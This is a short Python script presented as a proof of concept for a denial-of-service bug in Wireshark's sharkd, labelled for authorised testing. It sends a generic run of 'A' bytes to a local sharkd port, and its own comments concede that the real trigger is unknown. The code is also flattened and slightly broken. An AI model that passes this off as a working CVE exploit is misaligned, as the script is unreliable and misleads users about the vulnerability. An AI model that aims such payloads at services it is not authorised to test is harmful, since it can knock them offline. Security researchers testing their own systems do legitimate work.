The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2026-7376: Wireshark sharkd Denial of Service
# This script demonstrates a potential trigger for the crash by sending malformed data to sharkd.
# Note: Actual exploitation requires specific malformed packets based on the vulnerability details.
def send_malicious_packet(host='127.0.0.1', port=44444):
try:
# Create a socket connection to the local sharkd service
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
# Construct a payload that simulates the triggering condition
# This is a generic fuzzing payload; specific bytes depend on the dissection bug.
payload = b"\x00\x00\x00\x01" + b"A" * 10000
print(f"[*] Sending payload to {host}:{port}...")
client.send(payload)
# Wait for response or timeout indicating crash
client.settimeout(2)
response = client.recv(1024)
print(f"[+] Received response: {response}")
except socket.timeout:
print("[-] Connection timed out. Service may have crashed.")
except ConnectionRefusedError:
print("[-] Connection refused. Ensure sharkd is running.")
except Exception as e:
print(f"[!] An error occurred: {e}")
finally:
client.close()
if __name__ == "__main__":
send_malicious_packet()